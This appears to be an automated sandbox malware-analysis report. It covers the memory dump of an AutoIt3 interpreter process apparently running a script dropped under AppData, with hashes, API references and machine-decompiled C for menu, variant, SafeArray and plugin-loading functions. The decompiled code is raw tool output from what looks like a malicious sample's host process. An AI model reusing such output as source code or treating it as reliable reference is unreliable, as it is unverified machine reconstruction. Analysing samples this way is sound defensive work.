CMDLINERAW, xrefs: 00EE21CF

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __wcsicoll$_wcscpy$FileModuleName__wcsicmp_l_memmove_wcslen
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$C:\Users\user\AppData\Roaming\22032878\xaso.fhr$CMDLINE$CMDLINERAW
API String ID: 574121520-843523828
Opcode ID: 2c7b6e35c472a84b5b4b379fb32d8303d0962174803e42693f66ff0b05ca57ee
Instruction ID: 145e53d74bc1bde8a47299357db5f8014d596542086f911ad9ecc5b82c57bee6
Opcode Fuzzy Hash: 2c7b6e35c472a84b5b4b379fb32d8303d0962174803e42693f66ff0b05ca57ee
Instruction Fuzzy Hash: 69715E71D1425E9BCF04FFA2DC52AEE77B8AF44344F101068E60577292EBB0A949DBE1

Uniqueness

Uniqueness Score: -1.00%

Function 00F47BBF, Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 227
windowsleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F47BBF(void* __eflags, void* __fp0, signed int _a4, int _a8, int _a12) {
				int _v12;
				char _v16;
				int _v20;
				struct tagMENUITEMINFOW _v68;
				struct HMENU__** _t69;
				signed int _t81;
				int _t82;
				signed int _t85;
				intOrPtr _t86;
				signed int _t88;
				intOrPtr _t89;
				signed int _t91;
				unsigned int _t99;
				signed int _t100;
				struct HMENU__* _t101;
				int _t113;
				int _t114;
				int _t115;
				int _t118;
				int _t119;
				struct HMENU__** _t120;
				void* _t126;

				_t126 = __fp0;
				_t99 = _a8;
				_t120 = _a4;
				_v68.cbSize = 0x30;
				E00EF2E60( &(_v68.fMask), 0, 0x2c);
				_t102 =  &_a8;
				_v68.fMask = 1;
				_a8 = 0xffffffff;
				if(E00F14160(_t120, _t99 & 0x0000ffff,  &_a8) == 0) {
					L38:
					__eflags = 0;
					return 0;
				} else {
					_t113 = _a8;
					_t69 =  *(_t120 + 0x1b4 + _t113 * 4);
					if(_t113 != 3) {
						__eflags = _t113 - 4;
						if(_t113 != 4) {
							_t100 = _t99 >> 0x10;
							__eflags = _t100;
							if(_t100 != 0) {
								goto L38;
							} else {
								__eflags = _a12 - _t100;
								if(_a12 != _t100) {
									goto L38;
								} else {
									__eflags =  *0xf774ec - _t100;
									if( *0xf774ec != _t100) {
										goto L38;
									} else {
										__eflags = _t120[1];
										_t101 =  *_t69;
										if(_t120[1] == 0) {
											L34:
											__eflags = _t120[1];
											if(__eflags == 0) {
												goto L33;
											} else {
												GetMenuItemInfoW(_t101, _t113, 0,  &_v68);
												__eflags = _v68.fState & 0x00000008;
												if((_v68.fState & 0x00000008) == 0) {
													_t62 =  &(_v68.fState);
													 *_t62 = _v68.fState | 0x00000008;
													__eflags =  *_t62;
													SetMenuItemInfoW(_t101, _t113, 0,  &_v68);
													E00F33AE4( &_v68, __eflags, _t120, _t113);
													return 1;
												} else {
													_t59 =  &(_v68.fState);
													 *_t59 = _v68.fState ^ 0x00000008;
													__eflags =  *_t59;
													SetMenuItemInfoW(_t101, _t113, 0,  &_v68);
													E00F33AE4( &_v68, __eflags, _t120, _t113);
													return 1;
												}
											}
										} else {
											__eflags = _t69[1];
											if(_t69[1] == 0) {
												goto L34;
											} else {
												_a12 = 0xffffffff;
												_t81 = GetMenuItemCount(_t101);
												__eflags = _t120[1];
												_a4 = _t81;
												if(_t120[1] != 0) {
													_t81 = _t81 - 4;
													__eflags = _t81;
													_a4 = _t81;
												}
												_t114 = 0;
												__eflags = _t81;
												if(_t81 <= 0) {
													_t82 = _a12;
													goto L22;
												} else {
													while(1) {
														_t82 = GetMenuItemID(_t101, _t114);
														__eflags = _t82 - _a8;
														if(_t82 == _a8) {
															break;
														}
														_t114 = _t114 + 1;
														__eflags = _t114 - _a4;
														if(_t114 < _a4) {
															continue;
														} else {
															L22:
															__eflags = _t82 - _a8;
															if(__eflags == 0) {
																break;
															}
														}
														goto L32;
													}
													_v12 = _t114;
													_t115 = _t114 - 1;
													__eflags = _t115;
													while(_t115 >= 0) {
														_a12 = GetMenuItemID(_t101, _t115);
														_t88 = E00F14160(_t120, _t87,  &_v16);
														__eflags = _t88;
														if(_t88 == 0) {
															goto L26;
														} else {
															_t89 =  *((intOrPtr*)(_t120 + 0x1b4 + _a12 * 4));
															__eflags =  *((char*)(_t89 + 5));
															if( *((char*)(_t89 + 5)) != 0) {
																goto L26;
															}
														}
														goto L27;
														L26:
														_t115 = _t115 - 1;
														__eflags = _t115;
													}
													L27:
													_v20 = _t115 + 1;
													_t118 = _v12 + 1;
													__eflags = _t118 - _a4;
													while(_t118 < _a4) {
														_a12 = GetMenuItemID(_t101, _t118);
														_t85 = E00F14160(_t120, _t84,  &_v16);
														__eflags = _t85;
														if(_t85 == 0) {
															goto L30;
														} else {
															_t86 =  *((intOrPtr*)(_t120 + 0x1b4 + _a12 * 4));
															__eflags =  *((char*)(_t86 + 5));
															if( *((char*)(_t86 + 5)) != 0) {
																goto L30;
															}
														}
														goto L31;
														L30:
														_t118 = _t118 + 1;
														__eflags = _t118 - _a4;
													}
													L31:
													_t102 = _v12;
													_t119 = _t118 - 1;
													__eflags = _t119;
													CheckMenuRadioItem(_t101, _v20, _t119, _v12, 0x400);
												}
												L32:
												_t113 = _a8;
												L33:
												E00F33AE4(_t102, __eflags, _t120, _t113);
												return 1;
											}
										}
									}
								}
							}
						} else {
							_t91 = GetMenuItemInfoW( *_t120, _t113, 0,  &_v68);
							__eflags = _t91;
							if(_t91 == 0) {
								goto L38;
							} else {
								__eflags = _v68.fState & 0x00000008;
								if((_v68.fState & 0x00000008) == 0) {
									_t18 =  &(_v68.fState);
									 *_t18 = _v68.fState | 0x00000008;
									__eflags =  *_t18;
									 *0xf774ec = 1;
								} else {
									_v68.fState = _v68.fState ^ 0x00000008;
									 *0xf774ec = 0;
								}
								SetMenuItemInfoW( *_t120, 4, 0,  &_v68);
								E00EE1E00(_t120, _t126);
								Sleep(0x1f4);
								return 1;
							}
						}
					} else {
						 *0xf774f0 = 2;
						 *0xf774e6 = 1;
						return 1;
					}
				}
			}

APIs

_memset.LIBCMT ref: 00F47BDD
GetMenuItemInfoW.USER32(?,FFFFFFFF,00000000,00000030), ref: 00F47C43
SetMenuItemInfoW.USER32 ref: 00F47C7C
Sleep.KERNEL32(000001F4,?,FFFFFFFF,00000000,00000030,?,?,?,?,?,?), ref: 00F47C8E

Strings

0, xrefs: 00F47BD6

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoItemMenu$Sleep_memset
String ID: 0
API String ID: 1504565804-4108050209
Opcode ID: b6473d82561cfc398e373f466b3b25fdcb27809dcad4635f2619165baeb2fab7
Instruction ID: 794b9f2849b39e332dc04f1d66165b10d7c1fa26beb2393a6c283dec0040b542
Opcode Fuzzy Hash: b6473d82561cfc398e373f466b3b25fdcb27809dcad4635f2619165baeb2fab7
Instruction Fuzzy Hash: 1B71AF71904348ABDB20EF54DC89FAFBBB9EF81320F04855AFD1597281D771A941DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F33126, Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00F33126(intOrPtr* _a4) {
				char _v20;
				char _v152;
				intOrPtr _t30;
				signed int _t31;
				intOrPtr* _t38;

				_t38 = _a4;
				_t30 =  *((intOrPtr*)(_t38 + 8));
				if(_t30 == 4) {
					return _t30;
				} else {
					_t31 = _t30 - 1;
					if(_t31 > 0xa) {
						L17:
						_v152 = 0;
						goto L18;
					} else {
						switch( *((intOrPtr*)(_t31 * 4 +  &M00F332FA))) {
							case 0:
								E00EF2F7C( *_t38,  &_v152, "true");
								_t50 = _t50 + 0xc;
								goto L18;
							case 1:
								__eax =  *(__ebx + 4);
								__ecx =  *__ebx;
								_t7 =  &_v152; // -148
								__edx = _t7;
								__eax = E00EF3029( *__ebx,  *(__ebx + 4), _t7, "true");
								goto L18;
							case 2:
								__esp = __esp - 8;
								 *__esp =  *__ebx;
								_t8 =  &_v152; // -148
								__edx = _t8;
								_push(L"%.15g");
								_push(__edx);
								__eax = E00EF31BB(__edx);
								__esp = __esp + 0x10;
								goto L18;
							case 3:
								goto L17;
							case 4:
								__eax =  *__ebx;
								_t9 =  &_v152; // -148
								__ecx = _t9;
								__eax = E00EF31BB(__edx, _t9, L"0x%p",  *__ebx);
								goto L18;
							case 5:
								__eflags =  *__ebx;
								if( *__ebx == 0) {
									_t11 =  &_v152; // -148
									_t11 = E00EF1487(_t11, L"False");
								} else {
									_t10 =  &_v152; // -148
									__edx = _t10;
									__eax = E00EF1487(_t10, L"True");
								}
								goto L18;
							case 6:
								__edx =  *__ebx;
								_t12 =  &_v20; // -16
								__ecx = _t12;
								E00F2B36D( *__ebx, _t12) =  *__eax;
								_t13 =  &_v152; // -148
								__ecx = _t13;
								__eax = E00EF1487(_t13, __eax);
								_t14 =  &_v20; // -16
								__ecx = _t14;
								__eax = E00EE2480(_t14);
								L18:
								E00EE3FB0(_t38);
								_push(0x10);
								_t33 = E00EF14F7(_t41, _t38, _t53);
								_t54 = _t33;
								if(_t33 == 0) {
									__eflags = 0;
									 *((intOrPtr*)(_t38 + 0xc)) = 0;
									return 0;
								}
								_t35 = E00EE1D10( &_v152, _t33, _t54);
								 *((intOrPtr*)(_t38 + 0xc)) = _t35;
								return _t35;
								goto L22;
							case 7:
								__edx =  *__ebx;
								__esi =  *( *__ebx);
								__ecx = 0;
								__eax = 6 + __esi * 4;
								2 = __eax * 2 >> 0x20;
								__eax = __eax * 2;
								0 | __eflags > 0x00000000 =  ~(__eflags > 0);
								__ecx =  ~(__eflags > 0) | __eax;
								_push( ~(__eflags > 0) | __eax);
								__edi = E00EF14F7(__edi, __esi, __eflags);
								__eax =  *__ebx;
								__esp = __esp + 4;
								__eflags =  *__eax;
								if( *__eax == 0) {
									__eax = 0;
									__eflags = 0;
									 *__edi = __ax;
								} else {
									__ecx =  *__eax;
									__edx =  *(__eax + 4);
									__eax = E00F12DDE( *(__eax + 4), __edi,  *__eax);
								}
								__esi = __ebx;
								__eax = E00EE3FB0(__esi);
								_push(0x10);
								__eax = E00EF14F7(__edi, __esi, __eflags);
								__esp = __esp + 4;
								__eflags = __eax;
								if(__eflags == 0) {
									__eax = 0;
									__eflags = 0;
									_push(__edi);
									 *(__ebx + 0xc) = 0;
									__eax = E00EF10FC();
									__esp = __esp + 4;
									_pop(__edi);
									_pop(__esi);
									return __eax;
								} else {
									__esi = __eax;
									__eax = E00EE1D10(__edi, __eax, __eflags);
									_push(__edi);
									 *(__ebx + 0xc) = __eax;
									__eax = E00EF10FC();
									__esp = __esp + 4;
									_pop(__edi);
									_pop(__esi);
									return __eax;
								}
								goto L22;
						}
					}
				}
				L22:
			}

APIs

__itow.LIBCMT ref: 00F3315E
__i64tow.LIBCMT ref: 00F3317B
__swprintf.LIBCMT ref: 00F3319C
__swprintf.LIBCMT ref: 00F331B8
_wcscpy.LIBCMT ref: 00F331D6
_wcscpy.LIBCMT ref: 00F33212

Strings

%.15g, xrefs: 00F33196
False, xrefs: 00F331E9
0x%p, xrefs: 00F331B2
True, xrefs: 00F331D0

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __swprintf_wcscpy$__i64tow__itow
String ID: %.15g$0x%p$False$True
API String ID: 3038501623-2263619337
Opcode ID: 4c6b395839c8db026bcd39b7af00395574d455d839b0a1264cff2cc47a25c8a3
Instruction ID: 6b276e5f8ec308dd79c0c3797772348b31782d36f2a3460f5ba9328ab70f87ad
Opcode Fuzzy Hash: 4c6b395839c8db026bcd39b7af00395574d455d839b0a1264cff2cc47a25c8a3
Instruction Fuzzy Hash: C841FB73D001189BD710EB74DC42F7773A8EF45320F0445A9EE09DB246EA31DA58D792

Uniqueness

Uniqueness Score: -1.00%

Function 00F5931C, Relevance: 16.6, APIs: 11, Instructions: 147
memoryCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00F5931C(void* __eflags, void* __fp0, char _a4) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				signed int _v24;
				signed int _v28;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t58;
				intOrPtr _t61;
				char* _t62;
				signed int _t94;
				void* _t102;
				void* _t103;
				intOrPtr _t104;
				signed int _t108;
				signed int _t111;
				void* _t112;
				void* _t123;

				_t123 = __fp0;
				_t58 = E00F123B2( &_a4, 0);
				_t102 = _t58;
				__imp__#41(0xc, _t102,  &_v8);
				if(_t58 < 0) {
					L13:
					E00EE9190(_t102,  &_a4);
					return 0;
				} else {
					_t94 = 0;
					if(_t102 > 0) {
						do {
							_t4 = _t94 + 1; // 0x1
							_t111 = _t4;
							 *((intOrPtr*)(_v8 + 0x14 + _t94 * 8)) = 0;
							 *((intOrPtr*)(_v8 + 0x10 + _t94 * 8)) = E00F123B2( &_a4, _t111);
							_t94 = _t111;
						} while (_t94 < _t102);
					}
					_t61 = _v8;
					 *((short*)(_t61 + 2)) = 0x880;
					 *((intOrPtr*)(_v8 + 4)) = 0x10;
					__imp__#37(_v8);
					if(_t61 < 0) {
						__imp__#38(_v8);
						goto L13;
					} else {
						_t62 =  &_v36;
						__imp__#8(_t62);
						_v28 = 0;
						_v24 = 0;
						_v52 = 0;
						_v44 = 1;
						_v40 = 0;
						__imp__#23(_v8,  &_v16);
						if(_t62 < 0) {
							__imp__#39(_v8);
							__imp__#38(_v8);
							E00EE9190(_t102,  &_v52);
							__imp__#9( &_v36);
							E00EE9190(_t102,  &_a4);
							return 0;
						} else {
							_v12 = _v16;
							E00EE90D0( &_v52,  &_a4,  &_a4);
							_t103 = E00F591EA( &_a4,  &_v52,  &_v20);
							_t108 = 0;
							if(_t103 > 0) {
								_t91 = _v12;
								do {
									_t75 = _v20;
									if( *((intOrPtr*)(_v20 + _t108 * 4)) != 0) {
										_t112 = _t112 - 0x10;
										E00EEBBB0( *((intOrPtr*)(_t75 + _t108 * 4)), _t112, _t91, _t103);
										E00F50E0F(_t91, _t103, _t123);
										_t91 = _v12;
										__imp__#10(_v12,  &_v36,  &_v36);
									}
									_v12 = _v12 + 0x10;
									_t108 = _t108 + 1;
								} while (_t108 < _t103);
							}
							__imp__#24(_v8);
							_t104 = _v8;
							E00EE9190(_t104,  &_v52);
							__imp__#9( &_v36);
							_v28 = 0;
							_v24 = 0;
							E00EE9190(_t104,  &_a4);
							return _t104;
						}
					}
				}
			}

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,00000000,00F595B7), ref: 00F5933A
SafeArrayAllocData.OLEAUT32(00F595B7), ref: 00F59389
VariantInit.OLEAUT32(?), ref: 00F5939B
SafeArrayAccessData.OLEAUT32(00F595B7,?), ref: 00F593BC
VariantCopy.OLEAUT32(?,?), ref: 00F5941B
SafeArrayUnaccessData.OLEAUT32(00F595B7), ref: 00F5942E
VariantClear.OLEAUT32(?), ref: 00F59443
SafeArrayDestroyData.OLEAUT32(00F595B7), ref: 00F59468
SafeArrayDestroyDescriptor.OLEAUT32(00F595B7), ref: 00F59472
VariantClear.OLEAUT32(?), ref: 00F59484
SafeArrayDestroyDescriptor.OLEAUT32(00F595B7), ref: 00F594A1

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 3cade0eda5ea31f4fe914588047cfde31dcdeaa59652c3b88cd9c699d3a25b5f
Instruction ID: 40e51a6e51c698e911e96095436fa26175e1aaa1509ff96206018e618cb1943d
Opcode Fuzzy Hash: 3cade0eda5ea31f4fe914588047cfde31dcdeaa59652c3b88cd9c699d3a25b5f
Instruction Fuzzy Hash: 09518072A0021DEBCB04DFE4DC848DEB7B9FF48300F108559EA05A7242DB749A46DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F34262, Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 271
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00F34262(void* _a4, signed int _a8, signed int _a12, intOrPtr _a16, _Unknown_base(*)()* _a20, intOrPtr* _a24, intOrPtr* _a28) {
				signed int _v8;
				void* _v12;
				void* _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int __edi;
				signed int __esi;
				intOrPtr _t118;
				intOrPtr* _t122;
				intOrPtr* _t124;
				intOrPtr* _t128;
				intOrPtr _t134;
				intOrPtr _t135;
				struct HINSTANCE__** _t144;
				void* _t147;
				void* _t151;
				struct HINSTANCE__* _t155;
				intOrPtr* _t158;
				signed int _t159;
				intOrPtr _t160;
				signed int _t168;
				signed int _t173;
				struct HINSTANCE__* _t181;
				signed int _t187;
				signed int _t195;
				signed int _t200;
				signed int _t201;
				intOrPtr* _t202;
				intOrPtr* _t203;
				intOrPtr* _t204;
				void* _t205;
				void* _t206;
				void* _t207;

				_t158 = _a4;
				_t203 = _a20;
				_t200 = 0;
				 *_a28 = 0;
				 *_a24 = 0;
				E00EE9190(0, _t203);
				 *((intOrPtr*)(_t203 + 8)) = 1;
				 *_t203 = 1;
				_t118 =  *((intOrPtr*)(_t158 + 8));
				_a20 = 0;
				_v16 = 0;
				_v20 = _t118;
				if(_t118 <= 0) {
					L13:
					return 6;
				} else {
					while(_a20 == 0) {
						_t188 =  *(_t158 + 4);
						_t144 = ( *(_t158 + 4))[_t200];
						if( *_t144 == 0) {
							L11:
							_t200 = _t200 + 1;
							if(_t200 < _v20) {
								continue;
							} else {
								if(_a20 != 0) {
									break;
								} else {
									goto L13;
								}
							}
						} else {
							_t188 =  *_t144;
							_v8 = 0;
							if( *((intOrPtr*)( *_t144 + 4)) <= 0) {
								goto L11;
							} else {
								_a4 = 0;
								while(1) {
									_t147 = E00F02E0D(_t200, _t203, _a8,  *((intOrPtr*)( *((intOrPtr*)( *_t144 + 8)) + _a4)));
									_t205 = _t205 + 8;
									if(_t147 == 0) {
										break;
									}
									_t144 = ( *(_t158 + 4))[_t200];
									_t188 =  *_t144;
									_a4 = _a4 + 0xc;
									_t187 = _v8 + 1;
									_v8 = _t187;
									if(_t187 <  *((intOrPtr*)( *_t144 + 4))) {
										continue;
									} else {
										goto L11;
									}
									goto L46;
								}
								_t181 = ( *(( *(_t158 + 4))[_t200]))[2];
								_t195 = _a12;
								_t151 = _v8 + _v8 * 2 + _v8 + _v8 * 2 + _v8 + _v8 * 2 + _v8 + _v8 * 2;
								if(_t195 <  *((intOrPtr*)(_t181 + _t151 + 4)) || _t195 >  *((intOrPtr*)(_t181 + _t151 + 8))) {
									return 7;
								} else {
									_a20 = GetProcAddress( *( *(( *(_t158 + 4))[_t200])),  *(( *(( *(_t158 + 4))[_t200]))[2] + _t151));
									_t155 =  *(_t158 + 4);
									_t188 =  *( *(_t155[_t200]));
									_v16 = GetProcAddress( *( *(_t155[_t200])), "AU3_FreeVar");
									goto L11;
								}
							}
						}
						goto L46;
					}
					_t201 = _a12;
					_t122 = E00EF34DB(_t188, _t201, _t203, _t201 << 4);
					_t159 = 0;
					_t206 = _t205 + 4;
					_a4 = _t122;
					_a8 = 0;
					if(_t201 > 0) {
						_t202 = _t122;
						do {
							_t134 = _a16;
							_t173 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t134 + 4)) + _t159 * 4)) + 8)) + 0xfffffffe;
							if(_t173 > 5) {
								L25:
								 *_t202 = 1;
								_t135 = E00EEC8A0( *((intOrPtr*)( *((intOrPtr*)(_t134 + 4)) + _t159 * 4)));
								goto L26;
							} else {
								switch( *((intOrPtr*)(_t173 * 4 +  &M00F34586))) {
									case 0:
										 *__edi = 2;
										__edx =  *(__eax + 4);
										__eax =  *( *(__eax + 4) + __ebx * 4);
										__eax = E00F22F28( *( *(__eax + 4) + __ebx * 4));
										 *(__edi + 0xc) = __edx;
										goto L26;
									case 1:
										 *__edi = 3;
										__ecx =  *(__eax + 4);
										__ecx =  *( *(__eax + 4) + __ebx * 4);
										__eax = E00EEBCF0(__ecx);
										 *(__edi + 8) = __fp0;
										goto L27;
									case 2:
										 *_t202 = 4;
										_t163 = E00EEFE20(E00F33381( *((intOrPtr*)( *((intOrPtr*)(_t134 + 4)) + _t159 * 4))), _t173 | 0xffffffff, _t203);
										_t141 = E00EF34DB(_t192, _t202, _t203, E00EF3450(_t163) + 1);
										_t211 = _t206 + 8;
										 *((intOrPtr*)(_t202 + 8)) = _t141;
										if(_t141 != 0) {
											E00EF3570(_t141, _t163);
											_t211 = _t211 + 8;
										}
										_push(_t163);
										E00EF10FC();
										_t159 = _a8;
										_t206 = _t211 + 4;
										goto L27;
									case 3:
										goto L25;
									case 4:
										 *__edi = 5;
										__eax =  *(__eax + __ebx * 4);
										__eax = E00F2B323(__eax);
										L26:
										 *((intOrPtr*)(_t202 + 8)) = _t135;
										goto L27;
								}
							}
							L27:
							_t159 = _t159 + 1;
							_t202 = _t202 + 0x10;
							_a8 = _t159;
						} while (_t159 < _a12);
						_t201 = _a12;
						_t122 = _a4;
					}
					_v12 = 0;
					_a20(_t201, _t122,  &_v12, _a24, _a28);
					_t124 = _v12;
					_t207 = _t206 + 0x14;
					if(_t124 != 0) {
						_t168 =  *_t124 + 0xfffffffe;
						if(_t168 > 3) {
							_t160 =  *((intOrPtr*)(_t124 + 8));
							E00EE9190(_t201, _t203);
							 *((intOrPtr*)(_t203 + 8)) = 1;
							goto L37;
						} else {
							switch( *((intOrPtr*)(_t168 * 4 +  &M00F3459E))) {
								case 0:
									_t160 =  *((intOrPtr*)(_t124 + 8));
									_v20 =  *((intOrPtr*)(_t124 + 0xc));
									E00EE9190(_t201, _t203);
									 *((intOrPtr*)(_t203 + 8)) = 2;
									 *((intOrPtr*)(_t203 + 4)) = _v20;
									goto L37;
								case 1:
									__fp0 =  *(__eax + 8);
									_v24 =  *(__eax + 8);
									__eax = E00EE9190(__edi, __esi);
									__fp0 = _v24;
									 *((intOrPtr*)(__esi + 8)) = 3;
									 *__esi = _v24;
									goto L38;
								case 2:
									__edx =  *(__eax + 8);
									__eax = E00F1297C( *(__eax + 8), 0xffffffff);
									__ebx = __esi;
									__edi = __eax;
									__eax = E00EEE970(__eax, __esi, __ecx);
									_push(__edi);
									__eax = E00EF10FC();
									__edi = _a12;
									__esp = __esp + 4;
									goto L38;
								case 3:
									__ebx =  *(__eax + 8);
									__eax = E00EE9190(__edi, __esi);
									 *((intOrPtr*)(__esi + 8)) = 7;
									L37:
									 *_t203 = _t160;
									goto L38;
							}
						}
						L38:
						if(_t201 > 0) {
							_t204 = _a4;
							do {
								if( *_t204 == 4) {
									E00EF3668( *((intOrPtr*)(_t204 + 8)));
									_t207 = _t207 + 4;
								}
								_t204 = _t204 + 0x10;
								_t201 = _t201 - 1;
							} while (_t201 != 0);
						}
						E00EF3668(_a4);
						_t128 = _v16;
						if(_t128 != 0) {
							 *_t128(_v12);
						}
					}
					return 0;
				}
				L46:
			}

0x00f3426f
0x00f34273
0x00f34277
0x00f34279
0x00f3427b
0x00f3427d
0x00f34282
0x00f34289
0x00f3428f
0x00f34292
0x00f34295
0x00f34298
0x00f3429d
0x00f3436d
0x00f34378
0x00f342a3
0x00f342a3
0x00f342ae
0x00f342b1
0x00f342b6
0x00f3435d
0x00f3435d
0x00f34361
0x00000000
0x00f34367
0x00f3436b
0x00000000
0x00000000
0x00000000
0x00000000
0x00f3436b
0x00f342bc
0x00f342bc
0x00f342be
0x00f342c4
0x00000000
0x00f342ca
0x00f342ca
0x00f342cd
0x00f342dd
0x00f342e2
0x00f342e7
0x00000000
0x00000000
0x00f342ef
0x00f342f2
0x00f342f4
0x00f342f8
0x00f342f9
0x00f342ff
0x00000000
0x00f34301
0x00000000
0x00f34301
0x00000000
0x00f342ff
0x00f3430e
0x00f34311
0x00f34319
0x00f3431f
0x00f34386
0x00f34327
0x00f34341
0x00f34344
0x00f3434c
0x00f3435a
0x00000000
0x00f3435a
0x00f3431f
0x00f342c4
0x00000000
0x00f342b6
0x00f34389
0x00f34392
0x00f34397
0x00f34399
0x00f3439c
0x00f3439f
0x00f343a4
0x00f343aa
0x00f343b2
0x00f343b2
0x00f343be
0x00f343c4
0x00f34462
0x00f34462
0x00f3446e
0x00000000
0x00f343ca
0x00f343ca
0x00000000
0x00f34437
0x00f3443d
0x00f34440
0x00f34444
0x00f34449
0x00000000
0x00000000
0x00f34421
0x00f34427
0x00f3442a
0x00f3442d
0x00f34432
0x00000000
0x00000000
0x00f343d1
0x00f343ed
0x00f343fa
0x00f343ff
0x00f34402
0x00f34407
0x00f3440b
0x00f34410
0x00f34410
0x00f34413
0x00f34414
0x00f34419
0x00f3441c
0x00000000
0x00000000
0x00000000
0x00000000
0x00f3444e
0x00f34457
0x00f3445b
0x00f34473
0x00f34473
0x00000000
0x00000000
0x00f343ca
0x00f34476
0x00f34476
0x00f34477
0x00f3447a
0x00f3447d
0x00f34486
0x00f34489
0x00f34489
0x00f3449a
0x00f344a1
0x00f344a4
0x00f344a7
0x00f344ac
0x00f344b4
0x00f344ba
0x00f3452f
0x00f34532
0x00f34537
0x00000000
0x00f344bc
0x00f344bc
0x00000000
0x00f344c3
0x00f344c9
0x00f344cc
0x00f344d4
0x00f344db
0x00000000
0x00000000
0x00f344e0
0x00f344e3
0x00f344e6
0x00f344eb
0x00f344ee
0x00f344f5
0x00000000
0x00000000
0x00f3450a
0x00f34510
0x00f34518
0x00f3451a
0x00f3451c
0x00f34521
0x00f34522
0x00f34527
0x00f3452a
0x00000000
0x00000000
0x00f344f9
0x00f344fc
0x00f34501
0x00f3453e
0x00f3453e
0x00000000
0x00000000
0x00f344bc
0x00f34540
0x00f34542
0x00f34544
0x00f34547
0x00f3454a
0x00f34550
0x00f34555
0x00f34555
0x00f34558
0x00f3455b
0x00f3455b
0x00f34547
0x00f34562
0x00f34567
0x00f3456f
0x00f34575
0x00f34577
0x00f3456f
0x00f34582
0x00f34582
0x00000000

APIs

GetProcAddress.KERNEL32(00000001,?), ref: 00F3433B
GetProcAddress.KERNEL32(?,AU3_FreeVar), ref: 00F34354
_malloc.LIBCMT ref: 00F34392
_strlen.LIBCMT ref: 00F343F0
_malloc.LIBCMT ref: 00F343FA
_free.LIBCMT ref: 00F34550
_free.LIBCMT ref: 00F34562

Strings

AU3_FreeVar, xrefs: 00F3434E

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
